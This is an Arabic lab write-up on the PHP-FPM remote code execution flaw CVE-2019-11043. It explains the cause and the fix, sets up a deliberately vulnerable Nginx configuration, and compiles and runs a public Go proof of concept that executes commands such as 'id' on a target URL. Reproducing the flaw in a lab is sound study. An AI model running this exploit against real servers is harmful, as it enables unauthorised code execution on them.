
CVE-2019-11043 PHP تنفيذ التعليمات البرمجية عن بُعد
في 26 سبتمبر، أصدر المسؤولون عن PHP إعلانًا عن الثغرة، حيث يشير إلى أن الخوادم التي تستخدم Nginx + php-fpm، في بعض التكوينات، توجد ثغرة تنفيذ تعليمات برمجية عن بُعد. وهذا التكوين مستخدم على نطاق واسع، مما يشكل خطرًا كبيرًا.
تم الكشف عن PoC للثغرة في 22 أكتوبر، وأصدرت وسائل الإعلام الأمنية المحلية تحذيرًا في الوقت المناسب.
عند معالجة طلب يحتوي على %0a في Nginx، يؤدي fastcgi_split_path_info إلى جعل PATH_INFO فارغًا بسبب مواجهة حرف السطر الجديد \n. وعند معالجة PATH_INFO فارغًا في php-fpm، يوجد عيب منطقي. يمكن للمهاجم من خلال البناء والاستغلال الدقيقين أن يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
الخوادم التي تستخدم Nginx + php-fpm، عند استخدام التكوين التالي، قد تكون عرضة لثغرة تنفيذ التعليمات البرمجية عن بُعد.
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
دون التأثير على الأعمال العادية، قم بحذف التكوين التالي من ملف تكوين Nginx:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
يستغل هذا PoC تحسينًا في متغير FastCGI _fcgi_data_seg، وهذا التحسين موجود فقط في PHP 7، لذا فإن الاستغلال المنشور يعمل فقط على PHP 7، أما على PHP 5 فيحتاج إلى استغلال آخر ليعمل.
قم بتكوين البيئة، وإعداد nginx + php-fpm، ثم تحقق من أن العملية فعالة.
تنزيل PHP 7 وفك الضغط والدخول إلى المجلد
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
تثبيت حزم التبعية للضغط و SSL وما يتعلق بها
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
تكوين وترجمة الكود المصدري
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
تكوين php-fpm، إذا كان هناك عدة إصدارات PHP، يمكن تغيير المنفذ من 9000 إلى 9001
تعديل ملف تكوين php-fpm:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
إزالة الفاصلة المنقوطة أمام pid = run/php-fpm.pid
$ cd php-fpm.d
$ cp www.conf.default www.conf (تغيير المنفذ)
$ vi www.conf
تغيير المستخدم والمجموعة إلى مستخدم غير root
./php-fpm
أضف التكوين التالي في nginx.conf:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
أعد تشغيل nginx
تثبيت Go وترجمة كود PoC
go get github.com/neex/phuip-fpizdam (يتم تنزيل الملفات في مجلد src الخاص بـ go)
go build github.com/neex/phuip-fpizdam (المسار الكامل، سيتم إنشاء ملف التشغيل في الدليل الحالي)
تشغيل PoC
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[لسوء الحظ، هناك مشكلة في تكوين البيئة، فشل التحقق]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
تنزيل ملفات مشروع Docker
تشغيل حاوية Docker باستخدام docker-compose up -d

تشغيل البرنامج، يعرض نجاح التنفيذ، استخدام الثغرة لعرض نتيجة تنفيذ الأمر 'id'

إيقاف خدمة Docker docker ps docker stop id